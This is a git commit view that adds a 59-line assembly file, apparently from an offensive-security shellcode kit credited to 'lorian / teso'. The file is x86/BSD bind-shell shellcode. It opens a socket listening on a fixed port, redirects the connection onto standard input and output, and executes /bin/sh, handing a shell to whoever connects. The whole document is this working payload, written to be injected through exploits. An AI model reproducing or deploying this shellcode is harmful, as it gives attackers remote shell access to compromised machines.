diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/x86_bsd/bindshell.s | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/shellkit/x86_bsd/bindshell.s')
| -rw-r--r-- | other/shellkit/x86_bsd/bindshell.s | 59 |
1 files changed, 59 insertions, 0 deletions
diff --git a/other/shellkit/x86_bsd/bindshell.s b/other/shellkit/x86_bsd/bindshell.s new file mode 100644 index 0000000..8921fa9 --- /dev/null +++ b/other/shellkit/x86_bsd/bindshell.s | |||
| @@ -0,0 +1,59 @@ | |||
| 1 | /* x86/BSD bindsh shellcode (73 bytes) | ||
| 2 | |||
| 3 | lorian / teso | ||
| 4 | */ | ||
| 5 | |||
| 6 | .globl _cbegin | ||
| 7 | .globl cbegin | ||
| 8 | .globl _cend | ||
| 9 | .globl cend | ||
| 10 | |||
| 11 | _cbegin: | ||
| 12 | cbegin: | ||
| 13 | xorl %ebx, %ebx | ||
| 14 | mull %ebx | ||
| 15 | pushl %ebx | ||
| 16 | incl %ebx | ||
| 17 | pushl %ebx | ||
| 18 | incl %ebx | ||
| 19 | pushl %ebx | ||
| 20 | movb $0x61, %al | ||
| 21 | pushl %ebx | ||
| 22 | int $0x80 | ||
| 23 | xchgl %esi, %eax | ||
| 24 | pushl %edx | ||
| 25 | pushw $0x4444 | ||
| 26 | pushw %bx | ||
| 27 | movl %esp, %ebp | ||
| 28 | pushl $0x10 | ||
| 29 | pushl %ebp | ||
| 30 | pushl %esi | ||
| 31 | pushl %esi | ||
| 32 | pushl $0x68 | ||
| 33 | popl %eax | ||
| 34 | int $0x80 | ||
| 35 | movb $0x6a, %al | ||
| 36 | int $0x80 | ||
| 37 | pusha | ||
| 38 | movb $0x1e, %al | ||
| 39 | int $0x80 | ||
| 40 | a: | ||
| 41 | pushl %ebx | ||
| 42 | pushl %eax | ||
| 43 | pushl %eax | ||
| 44 | movb $0x5a, %al | ||
| 45 | int $0x80 | ||
| 46 | decl %ebx | ||
| 47 | jns a | ||
| 48 | pushl %edx | ||
| 49 | movl %esp, %ebx | ||
| 50 | push $0x68732F6E | ||
| 51 | push $0x69622F2F | ||
| 52 | pusha | ||
| 53 | popl %esi | ||
| 54 | popl %esi | ||
| 55 | movb $0x3b, %al | ||
| 56 | int $0x80 | ||
| 57 | |||
| 58 | _cend: | ||
| 59 | cend: | ||
